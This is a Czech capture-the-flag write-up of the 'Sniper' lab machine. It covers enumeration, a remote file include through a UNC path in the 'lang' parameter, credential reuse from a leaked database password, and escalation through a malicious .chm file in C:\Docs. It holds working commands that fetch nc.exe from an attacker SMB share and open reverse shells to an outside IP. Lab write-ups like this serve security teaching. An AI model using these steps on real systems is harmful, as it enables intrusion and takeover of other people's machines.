Sniper
Úvod a kontext
Sniper stojí na dvou konkrétních provozních chybách. Webová část dovolí v lokalizačním parametru použít UNC cestu na útočníkův SMB share, takže PHP na IIS načte vzdálený soubor jako lokální include. Tím vznikne shell bez klasického uploadu i bez SQL injection. Přesně tento typ Windows-specific file include chyby rozebírám i v článku File read a include varianty mimo klasické LFI.
První kontext NT AUTHORITY\\IUSR ale ještě není skutečný foothold. Teprve webová konfigurace vydá reuse heslo pro Chris a až potom přichází druhá část: .chm soubory ukládané do důvěryhodné cesty, které zpracovává privilegovanější proces.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív mapuji veřejné služby a ověřuji, jestli bude první vstup přes web, SMB nebo nějakou administrativní vrstvu.
nmap -p 1-65535 -T4 -A -sC -v $IP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49667/tcp open msrpc Microsoft Windows RPC
Z kombinace IIS a SMB je rozumné čekat, že se web i sdílení mohou nějak potkávat, ať už přes upload, include nebo interní kopírování souborů.
Enumerace webu
Průzkum webu ukázal několik PHP cest:
dirb http://$IP
+ http://10.10.10.151/index.php
+ http://10.10.10.151/blog/index.php
+ http://10.10.10.151/user/index.php
Právě blog část byla zajímavá tím, že parametr lang načítal jazykový soubor. Pokud aplikace takový parametr nepřísně validuje, je potřeba zkusit nejen LFI, ale i UNC cestu na vzdálený share.
Analýza zjištění
Zneužití lang přes SMB share
Na Windows může PHP pracovat i s cestou ve tvaru \\\\attacker\\share\\soubor.php. Pokud aplikace takovou cestu předá do include, výsledkem je v praxi vzdálené spuštění útočníkova PHP kódu.
Přesně to se na Sniperu podařilo:
http://10.10.10.151/blog/?lang=\\10.10.15.134\data\cmd.php&c=\\10.10.15.134\data\exe\nc 10.10.15.134 4000 -e cmd
Myšlenka je jednoduchá:
langdonutí server includovatcmd.phpz útočníkova SMB share,- parametr
cse předá tomuto skriptu jako příkaz, - skript spustí
nc.exe, také uložený na stejném share.
Výsledkem byl shell v kontextu webového účtu NT AUTHORITY\\IUSR.
Databázové heslo a pivot na Chris
Po footholdu mělo smysl projít webové soubory. V adresáři aplikace byl db.php:
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
To samo o sobě ještě není user flag. Rozhodující byla až interpretace toho, co s heslem dál:
- na systému existoval uživatel
Chris, - stejné heslo fungovalo i pro jeho účet,
- a protože šlo o Windows prostředí, dalo se použít pro vzdálené spuštění příkazu v jeho kontextu.
Prakticky šlo heslo zneužít přes PowerShell credential objekt a spustit další shell už jako Chris.
Získání přístupu
Shell jako Chris
Po přesunu z IUSR do účtu Chris už bylo možné pracovat se systémem jako běžný uživatel a potvrdit user část:
more user.txt
__CENSORED__
Smysl tohoto kroku je důležitý i metodicky: databázové heslo není automaticky „jen pro MySQL“. Pokud tým hesla recykluje, často otevře i doménový nebo lokální účet.
Eskalace oprávnění
Proč jsou důležité .chm soubory
Lokální enumerace ukázala, že v C:\Docs se pracovalo s dokumentací a že .chm soubory na hostu zpracovával privilegovaný proces přes hh.exe. To je přesně ten typ interního workflow, který se dá zneužít, pokud uživatel s vyššími oprávněními automaticky otevírá soubory od méně privilegovaného účtu.
Na host bylo proto vhodné připravit dvě věci:
cp \\10.10.15.134\data\exe\nc.exe c:\programdata\nc.exe
cp \\10.10.15.134\data\chm\doc.chm c:\docs\instructions.chm
Malicious instructions.chm pak po spuštění zavolal nc.exe a předal shell zpět útočníkovi. Kritický zde není samotný formát CHM, ale důvěra administrativního workflow v soubor umístěný v monitorovaném adresáři. To je praktický příklad vzorce popsaného i v článku Zápis do prostoru, který se pak vykoná nebo použije pro autentizaci.
Potvrzení administrátorského přístupu
Jakmile se spustil škodlivý CHM dokument v privilegovaném kontextu, vznikl shell jako administrátor a bylo možné přečíst root.txt:
more root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Parametr pro includování jazykových souborů se na Windows může změnit v RFI i bez klasického
http://URL, pokud aplikace přijme UNC cestu na SMB share. - Shell jako
IUSRje jen technický foothold. Praktickou hodnotu získal až ve chvíli, kdy lokální konfigurace odhalila heslo reuse pro účetChris. - Root část nestála na další webové chybě, ale na privilegovaném procesu, který automaticky zpracovával
.chmdokumenty vložené do důvěryhodné cesty.
Co si odnést do praxe
- Parametry předávané do
includeneborequiremusí být omezené na pevný whitelist. Na Windows je potřeba myslet i na UNC cesty, ne jen na relativní traversal nebo URL wrappery. - Hesla uložená v konfiguračních souborech webu je nutné považovat za kompromitovaná okamžitě po získání shellu. Pokud se znovu používají pro lokální účty, dopad se rychle mění z web compromise na plný user access.
- Automatické zpracování dokumentů nebo příloh ve vyšším kontextu je samostatná bezpečnostní hranice. Workflow nad
C:\Docs, tiskovými frontami nebo konverzními službami musí předpokládat škodlivý vstup.